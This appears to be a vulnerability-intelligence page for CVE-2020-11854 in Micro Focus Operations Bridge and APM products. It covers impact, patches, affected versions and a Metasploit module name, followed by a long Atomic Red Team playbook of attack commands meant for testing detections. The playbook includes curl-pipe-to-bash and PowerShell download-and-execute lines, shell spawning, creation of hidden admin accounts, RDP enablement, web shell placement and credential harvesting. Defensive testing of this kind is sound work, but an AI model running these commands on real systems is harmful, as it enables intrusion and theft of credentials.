CVE-2020-11854
Overview
This vulnerability is an arbitrary code execution flaw caused by improper handling of input within Micro Focus Operation Bridge Manager, Operations Bridge (containerized), and Application Performance Management components. The root cause lies in insecure processing of data that allows execution of unauthorized code without sufficient validation or restrictions. Multiple versions of these products are affected, exposing core management and monitoring features to exploitation.
Vulnerability Description
Arbitrary code execution vlnerability in Operation bridge Manager, Application Performance Management and Operations Bridge (containerized) vulnerability in Micro Focus products products Operation Bridge Manager, Operation Bridge (containerized) and Application Performance Management. The vulneravility affects: 1.) Operation Bridge Manager versions 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, 10.63,10.62, 10.61, 10.60, 10.12, 10.11, 10.10 and all earlier versions. 2.) Operations Bridge (containerized) 2020.05, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05. 2018.02 and 2017.11. 3.) Application Performance Management versions 9,51, 9.50 and 9.40 with uCMDB 10.33 CUP 3. The vulnerability could allow Arbitrary code execution.
Impact
An attacker with network access and no authentication can execute arbitrary code on affected Micro Focus products, leading to full system compromise. This enables unauthorized control over monitoring and management infrastructure, potentially disrupting business operations, exfiltrating sensitive data, or facilitating lateral movement within the enterprise environment. The vulnerability's CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms remote exploitation with low complexity and no user interaction required.
Solution
Micro Focus has released security advisories KM03747658, KM03747657, and KM03747854 detailing patches for Operation Bridge Manager, Operations Bridge (containerized), and Application Performance Management. Users should upgrade to the fixed versions specified in these advisories, including Operation Bridge Manager versions post-2020.05 and Application Performance Management versions beyond 9.51 with updated uCMDB. Refer to the vendor's official support pages for precise patching instructions and apply updates promptly to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (23)
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Microfocus | Application Performance Management | 9.50 |
cpe:2.3:a:microfocus:application_performance_management:9.50:*:*:*:*:*:*:*
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Microfocus | Application Performance Management | 9.51 |
cpe:2.3:a:microfocus:application_performance_management:9.51:*:*:*:*:*:*:*
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Microfocus | Operations Bridge | 2017.11 |
cpe:2.3:a:microfocus:operations_bridge:2017.11:*:*:*:*:*:*:*
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Microfocus | Operations Bridge | 2018.02 |
cpe:2.3:a:microfocus:operations_bridge:2018.02:*:*:*:*:*:*:*
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Microfocus | Operations Bridge | 2018.05 |
cpe:2.3:a:microfocus:operations_bridge:2018.05:*:*:*:*:*:*:*
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Microfocus | Operations Bridge | 2018.08 |
cpe:2.3:a:microfocus:operations_bridge:2018.08:*:*:*:*:*:*:*
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Microfocus | Operations Bridge | 2018.11 |
cpe:2.3:a:microfocus:operations_bridge:2018.11:*:*:*:*:*:*:*
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Microfocus | Operations Bridge | 2019.05 |
cpe:2.3:a:microfocus:operations_bridge:2019.05:*:*:*:*:*:*:*
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Microfocus | Operations Bridge | 2019.08 |
cpe:2.3:a:microfocus:operations_bridge:2019.08:*:*:*:*:*:*:*
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Microfocus | Operations Bridge | 2020.05 |
cpe:2.3:a:microfocus:operations_bridge:2020.05:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | All |
cpe:2.3:a:microfocus:operations_bridge_manager:*:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 10.11 |
cpe:2.3:a:microfocus:operations_bridge_manager:10.11:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 10.12 |
cpe:2.3:a:microfocus:operations_bridge_manager:10.12:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 10.60 |
cpe:2.3:a:microfocus:operations_bridge_manager:10.60:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 10.61 |
cpe:2.3:a:microfocus:operations_bridge_manager:10.61:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 10.62 |
cpe:2.3:a:microfocus:operations_bridge_manager:10.62:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 10.63 |
cpe:2.3:a:microfocus:operations_bridge_manager:10.63:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 2018.05 |
cpe:2.3:a:microfocus:operations_bridge_manager:2018.05:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 2018.11 |
cpe:2.3:a:microfocus:operations_bridge_manager:2018.11:*:*:*:*:*:*:*
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Microfocus | Operations Bridge Manager | 2019.05 |
cpe:2.3:a:microfocus:operations_bridge_manager:2019.05:*:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
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Metasploit (1)
| Module | Authors | Rank | Platform | Link |
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Micro Focus UCMDB Java Deserialization Unauthenticated Remote Code Execution
exploits/multi/http/microfocus_ucmdb_unauth_deser
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- | Unknown | - | View |
Threat Feed
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Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
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| CAPEC-70 | Try Common or Default Usernames and Passwords |
35%
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Medium | High | |
| CAPEC-191 | Read Sensitive Constants Within an Executable |
34%
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— | Low |
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
net user #{guest_user} /active:yes
sudo sysadminctl -guestAccount on
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2020-11854 |
| softwaresupport.softwaregrp.com |
GitHub CVE
x_refsource_MISC
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https://softwaresupport.softwaregrp.com/doc/KM03747658 |
| softwaresupport.softwaregrp.com |
GitHub CVE
x_refsource_MISC
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https://softwaresupport.softwaregrp.com/doc/KM03747657 |
| softwaresupport.softwaregrp.com |
GitHub CVE
x_refsource_MISC
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https://softwaresupport.softwaregrp.com/doc/KM03747854 |
| zerodayinitiative.com |
GitHub CVE
x_refsource_MISC
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https://www.zerodayinitiative.com/advisories/ZDI-20-1287/ |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
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http://packetstormsecurity.com/files/161182/Micro-Focus-UCMDB-Remote-Code-Execution.html |